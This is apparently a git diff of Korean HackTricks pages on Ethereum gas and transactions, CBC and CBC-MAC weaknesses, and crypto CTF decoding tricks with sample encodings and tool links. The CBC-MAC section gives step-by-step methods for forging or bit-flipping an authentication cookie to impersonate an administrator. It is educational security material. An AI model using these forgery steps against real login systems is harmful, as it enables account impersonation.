가스는 Ethereum에서 작업을 실행하는 데 필요한 계산 노력을 측정하며, **gwei**로 가격이 책정됩니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)의 비용이 드는 거래는 가스 한도와 기본 수수료, 채굴자를 동기화하기 위한 팁을 포함하고 있습니다. 사용자는 최대 수수료를 설정하여 과금을 방지하고, 초과 금액은 환불됩니다.
|
||||
|
||||
## **거래 실행**
|
||||
|
||||
Ethereum에서의 거래는 송신자와 수신자로 구성되며, 사용자나 스마트 계약 주소가 될 수 있습니다. 거래에는 수수료가 필요하며, 채굴되어야 합니다. 거래에서 중요한 정보는 수신자, 송신자의 서명, 가치, 선택적 데이터, 가스 한도 및 수수료입니다. 특히, 송신자의 주소는 서명에서 유추되므로 거래 데이터에 필요하지 않습니다.
|
||||
이더리움의 거래에는 송신자와 수신자가 포함되며, 사용자 또는 스마트 계약 주소가 될 수 있습니다. 수수료가 필요하며 채굴되어야 합니다. 거래에 필요한 주요 정보는 수신자, 송신자의 서명, 가치, 선택적 데이터, 가스 한도 및 수수료를 포함합니다. 특히, 송신자의 주소는 서명에서 유추되어 거래 데이터에 필요하지 않습니다.
|
||||
|
||||
이러한 실천 방법과 메커니즘은 개인 정보 보호와 보안을 우선시하는 사람들에게 필수적입니다.
|
||||
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake)
|
||||
* [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
* [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,83 +1,83 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# CBC
|
||||
|
||||
**쿠키**가 **사용자 이름**만 있는 경우 (또는 쿠키의 첫 번째 부분이 사용자 이름인 경우) "**admin**" 사용자 이름을 가장하고 싶다면, **"bdmin"** 사용자 이름을 생성하고 쿠키의 **첫 번째 바이트**를 무차별 대입(bruteforce)할 수 있습니다.
|
||||
만약 **쿠키**가 **사용자 이름**만을 포함하고 있고 사용자 이름을 "**admin**"으로 변조하고 싶다면, 사용자 이름을 **"bdmin"**으로 만들고 쿠키의 **첫 번째 바이트**를 **브루트포스**할 수 있습니다.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**)는 암호학에서 사용되는 방법입니다. 이 방법은 메시지를 블록 단위로 암호화하고, 각 블록의 암호화가 이전 블록과 연결되도록 작동합니다. 이 과정은 **블록 체인**을 생성하여 원본 메시지의 단 하나의 비트라도 변경하면 암호화된 데이터의 마지막 블록에 예측할 수 없는 변경이 발생하도록 합니다. 이러한 변경을 수행하거나 되돌리기 위해서는 암호화 키가 필요하여 보안이 보장됩니다.
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**)는 암호학에서 사용되는 방법입니다. 이 방법은 메시지를 블록 단위로 암호화하여 작동하며, 각 블록의 암호화는 그 이전 블록과 연결됩니다. 이 과정은 **블록 체인**을 생성하여 원본 메시지의 단 하나의 비트라도 변경되면 암호화된 데이터의 마지막 블록에 예측할 수 없는 변경이 발생하도록 합니다. 이러한 변경을 수행하거나 되돌리려면 암호화 키가 필요하여 보안을 보장합니다.
|
||||
|
||||
메시지 m의 CBC-MAC을 계산하기 위해, m을 초기화 벡터를 0으로 설정하여 CBC 모드로 암호화하고 마지막 블록을 유지합니다. 다음 그림은 비밀 키 k와 블록 암호 E를 사용하여 메시지의 CBC-MAC을 계산하는 과정을 스케치한 것입니다:
|
||||
메시지 m의 CBC-MAC를 계산하려면, m을 초기화 벡터를 0으로 사용하여 CBC 모드로 암호화하고 마지막 블록을 유지합니다. 다음 그림은 비밀 키 k와 블록 암호 E를 사용하여 메시지의 CBC-MAC을 계산하는 과정을 스케치로 나타냅니다:
|
||||
|
||||
![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)를 사용하여 블록으로 구성된 메시지의 CBC-MAC 계산
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||
![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)
|
||||
|
||||
# 취약점
|
||||
|
||||
CBC-MAC에서 일반적으로 사용되는 **IV는 0**입니다.\
|
||||
이는 알려진 두 개의 메시지 (`m1` 및 `m2`)가 독립적으로 2개의 서명 (`s1` 및 `s2`)을 생성한다는 문제가 있습니다. 따라서:
|
||||
일반적으로 CBC-MAC에서 사용되는 **IV는 0**입니다.\
|
||||
이것은 2개의 알려진 메시지(`m1` 및 `m2`)가 독립적으로 2개의 서명(`s1` 및 `s2`)을 생성할 수 있는 문제를 야기합니다. 따라서:
|
||||
|
||||
* `E(m1 XOR 0) = s1`
|
||||
* `E(m2 XOR 0) = s2`
|
||||
|
||||
그런 다음 m1과 m2를 연결한 메시지 (m3)는 2개의 서명 (s31 및 s32)을 생성합니다:
|
||||
그런 다음 m1과 m2를 연결한 메시지(m3)는 2개의 서명(s31 및 s32)을 생성합니다:
|
||||
|
||||
* `E(m1 XOR 0) = s31 = s1`
|
||||
* `E(m2 XOR s1) = s32`
|
||||
|
||||
**암호화의 키를 알지 못해도 계산할 수 있습니다.**
|
||||
**암호화 키를 알지 못해도 이를 계산할 수 있습니다.**
|
||||
|
||||
8바이트 블록으로 이름 **Administrator**를 암호화하는 경우를 상상해보세요:
|
||||
8바이트 블록으로 이름 **Administrator**을 암호화하는 경우를 상상해보세요:
|
||||
|
||||
* `Administ`
|
||||
* `rator\00\00\00`
|
||||
|
||||
**Administ** (m1)라는 사용자 이름을 생성하고 서명 (s1)을 검색할 수 있습니다.\
|
||||
그런 다음, `rator\00\00\00 XOR s1`의 결과로 된 사용자 이름을 생성할 수 있습니다. 이렇게 하면 `E(m2 XOR s1 XOR 0)`를 생성하게 되고 이는 s32입니다.\
|
||||
이제 s32를 전체 이름 **Administrator**의 서명으로 사용할 수 있습니다.
|
||||
**Administ**라는 사용자 이름(m1)을 만들고 서명(s1)을 검색할 수 있습니다.\
|
||||
그런 다음 `rator\00\00\00 XOR s1`의 결과를 사용자 이름으로 하는 사용자 이름을 만들 수 있습니다. 이렇게 하면 `E(m2 XOR s1 XOR 0)`가 생성되어 s32가 됩니다.\
|
||||
이제 s32를 사용하여 전체 이름 **Administrator**의 서명으로 사용할 수 있습니다.
|
||||
|
||||
### 요약
|
||||
|
||||
1. 사용자 이름 **Administ** (m1)의 서명인 s1을 얻으세요.
|
||||
1. 사용자 이름 **Administ**(m1)의 서명인 s1을 얻으세요.
|
||||
2. 사용자 이름 **rator\x00\x00\x00 XOR s1 XOR 0**의 서명인 s32를 얻으세요.
|
||||
3. 쿠키를 s32로 설정하면 사용자 **Administrator**의 유효한 쿠키가 됩니다.
|
||||
|
||||
# IV 제어를 통한 공격
|
||||
# IV 제어 공격
|
||||
|
||||
IV를 제어할 수 있다면 공격은 매우 쉬워질 수 있습니다.\
|
||||
쿠키가 단순히 암호화된 사용자 이름인 경우, 사용자 "**administrator**"를 가장하려면 사용자 "**Administrator**"를 생성하고 해당 사용자의 쿠키를 얻을 수 있습니다.\
|
||||
이제 IV를 제어할 수 있다면, IV의 첫 번째 바이트를 변경하여 **IV\[0] XOR "A" == IV'\[0] XOR "a"**로 설정하고 사용자 **Administrator**의 쿠키를 다시 생성할 수 있습니다. 이 쿠키는 초기 **IV**로 **administrator** 사용자를 **가장할 수 있는** 유효한 쿠키가 될 것입니다.
|
||||
사용된 IV를 제어할 수 있다면 공격은 매우 쉬워질 수 있습니다.\
|
||||
쿠키가 사용자 이름만 암호화된 경우 사용자 "**administrator**"를 흉내 내기 위해 사용자 "**Administrator**"를 만들면 해당 사용자의 쿠키를 얻을 수 있습니다.\
|
||||
이제 IV를 제어할 수 있다면 IV의 첫 번째 바이트를 변경하여 **IV\[0] XOR "A" == IV'\[0] XOR "a"**로 만들고 사용자 **Administrator**의 쿠키를 다시 생성할 수 있습니다. 이 쿠키는 초기 **IV**로 **administrator** 사용자를 **흉내 내는 데 유효**합니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
자세한 내용은 [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)에서 확인할 수 있습니다.
|
||||
자세한 내용은 [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)에서 확인하세요.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Crypto CTFs 트릭
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되기를 원하거나 HackTricks를 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 온라인 해시 DB
|
||||
|
||||
* _**Google에서 검색**_
|
||||
* _**Google에서 찾기**_
|
||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
* [https://crackstation.net/](https://crackstation.net)
|
||||
|
@ -31,7 +32,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
## Magic Autosolvers
|
||||
|
||||
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic 모듈)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
|
||||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
|
@ -42,22 +43,22 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### 치환 Autosolvers
|
||||
### 치환 자동 해독기
|
||||
|
||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - 매우 좋음!
|
||||
|
||||
#### 시저 - ROTx Autosolvers
|
||||
#### 시저 - ROTx 자동 해독기
|
||||
|
||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### 앳배시 암호
|
||||
#### 앗바쉬 암호
|
||||
|
||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### 기본 인코딩 Autosolver
|
||||
### 기본 인코딩 자동 해독기
|
||||
|
||||
이 모든 기본 인코딩을 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
다음을 사용하여 모든 이러한 기본을 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
* **Ascii85**
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
|
@ -100,7 +101,12 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
* `frDg[*jNN!7&BQM`
|
||||
* **Base100** \[]
|
||||
* `👟👦
|
||||
* `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
* **Base122** \[]
|
||||
* `4F ˂r0Xmvc`
|
||||
* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
* `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
* `DmPsv8J7qrlKEoY7`
|
||||
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
* `kLD8iwKsigSalLJ5`
|
||||
|
@ -129,7 +135,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### 모스 부호
|
||||
### 모스
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
|
@ -138,6 +144,8 @@ HackTricks를 지원하는 다른 방법:
|
|||
### UUencoder
|
||||
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
|
@ -148,9 +156,7 @@ end
|
|||
```
|
||||
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
|
||||
XXEncoder는 문자열을 다른 형식으로 인코딩하는 도구입니다. 이 도구는 다양한 인코딩 방식을 지원하며, 주로 데이터를 안전하게 전송하거나 저장하기 위해 사용됩니다. XXEncoder를 사용하면 원본 문자열을 다른 형식으로 변환하여 데이터를 보호할 수 있습니다.
|
||||
### XX인코더
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
|
@ -159,10 +165,6 @@ end
|
|||
```
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
|
@ -172,8 +174,6 @@ ryvkryvkryvkryvkryvkryvkryvk
|
|||
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
|
||||
BinHex는 이진 데이터를 ASCII로 변환하는 인코딩 방식입니다. 이 방식은 이진 파일을 텍스트 형식으로 전송하거나 저장할 때 사용됩니다. BinHex는 파일을 7비트 ASCII 문자로 변환하고, 이진 데이터를 6비트로 분할하여 텍스트 형식으로 표현합니다. 이렇게 변환된 파일은 이메일이나 웹을 통해 전송할 수 있습니다. BinHex는 파일의 무결성을 보장하기 위해 체크섬을 사용하며, 압축 기능도 제공합니다.
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
|
@ -182,17 +182,6 @@ BinHex는 이진 데이터를 ASCII로 변환하는 인코딩 방식입니다.
|
|||
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
|
||||
ASCII85는 4바이트의 이진 데이터를 5바이트의 ASCII 문자열로 변환하는 인코딩 방식입니다. 이 방식은 이진 데이터를 텍스트 형식으로 전송할 수 있도록 해줍니다. ASCII85는 일반적으로 PostScript와 PDF 파일에서 사용되며, 이진 데이터를 텍스트로 변환하여 문서에 포함시킵니다.
|
||||
|
||||
ASCII85 인코딩은 다음과 같은 특징을 가지고 있습니다.
|
||||
|
||||
- 4바이트의 이진 데이터를 5바이트의 ASCII 문자열로 변환합니다.
|
||||
- 인코딩된 문자열은 '~' 문자로 시작하고 'z' 문자로 끝납니다.
|
||||
- 인코딩된 문자열은 5개의 문자로 이루어져 있으며, 각 문자는 7비트 ASCII 문자로 표현됩니다.
|
||||
- 인코딩된 문자열은 원래의 이진 데이터를 복원하기 위해 디코딩될 수 있습니다.
|
||||
|
||||
ASCII85 인코딩은 다양한 프로그래밍 언어에서 지원되며, 이를 활용하여 이진 데이터를 텍스트로 변환하거나, 텍스트를 이진 데이터로 변환할 수 있습니다.
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
|
@ -206,23 +195,23 @@ drnajapajrna
|
|||
|
||||
### A1Z26
|
||||
|
||||
알파벳을 숫자 값으로 변환합니다.
|
||||
알파벳을 숫자 값으로 변환
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Affine 암호화
|
||||
### 아핀 암호 인코딩
|
||||
|
||||
문자를 숫자로 변환하여 `(ax+b)%26` (_a_와 _b_는 키이고 _x_는 문자)를 계산하고 결과를 다시 문자로 변환합니다.
|
||||
알파벳을 숫자로 변환하여 `(ax+b)%26` (_a_ 와 _b_ 가 키이고 _x_ 가 알파벳) 계산하고 결과를 다시 알파벳으로 변환합니다.
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS 코드
|
||||
|
||||
**멀티탭**은 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)에서 해당 키 코드에 의해 정의된 반복된 숫자로 [문자를 대체](https://www.dcode.fr/word-letter-change)합니다 (이 모드는 SMS 작성 시 사용됩니다).\
|
||||
예를 들어: 2=A, 22=B, 222=C, 3=D...\
|
||||
여러 번 반복된 숫자를 볼 수 있으므로 이 코드를 식별할 수 있습니다.
|
||||
**멀티탭**은 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)에서 해당하는 키 코드에 의해 정의된 반복된 숫자로 문자를 대체합니다 (이 모드는 SMS 작성 시 사용됨).\
|
||||
예: 2=A, 22=B, 222=C, 3=D...\
|
||||
여러 번 반복된 숫자를 볼 수 있기 때문에 이 코드를 식별할 수 있습니다.
|
||||
|
||||
이 코드를 해독할 수 있는 곳: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
이 코드를 해독할 수 있습니다: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### 베이컨 코드
|
||||
|
||||
|
@ -237,7 +226,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
|||
|
||||
## 압축
|
||||
|
||||
**Raw Deflate**와 **Raw Inflate** (둘 다 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 해제할 수 있습니다.
|
||||
**Raw Deflate** 및 **Raw Inflate** (둘 다 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 해제할 수 있습니다.
|
||||
|
||||
## 쉬운 암호화
|
||||
|
||||
|
@ -247,13 +236,13 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
|||
|
||||
### Bifid
|
||||
|
||||
키워드가 필요합니다.
|
||||
키워드가 필요합니다
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### Vigenere
|
||||
### 비즈네르
|
||||
|
||||
키워드가 필요합니다.
|
||||
키워드가 필요합니다
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
|
@ -265,7 +254,7 @@ wodsyoidrods
|
|||
|
||||
### Fernet
|
||||
|
||||
2 개의 base64 문자열 (토큰과 키)
|
||||
2 개의 base64 문자열 (토큰 및 키)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
@ -277,7 +266,7 @@ Key:
|
|||
|
||||
### Samir Secret Sharing
|
||||
|
||||
비밀은 X 부분으로 나누어지며, 복구하기 위해서는 Y 부분이 필요합니다 (_Y <=X_).
|
||||
비밀은 X 부분으로 분할되며 복구하려면 Y 부분이 필요합니다 (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
|
@ -285,7 +274,7 @@ Key:
|
|||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL 무차별 대입 공격
|
||||
### OpenSSL 브루트 포스
|
||||
|
||||
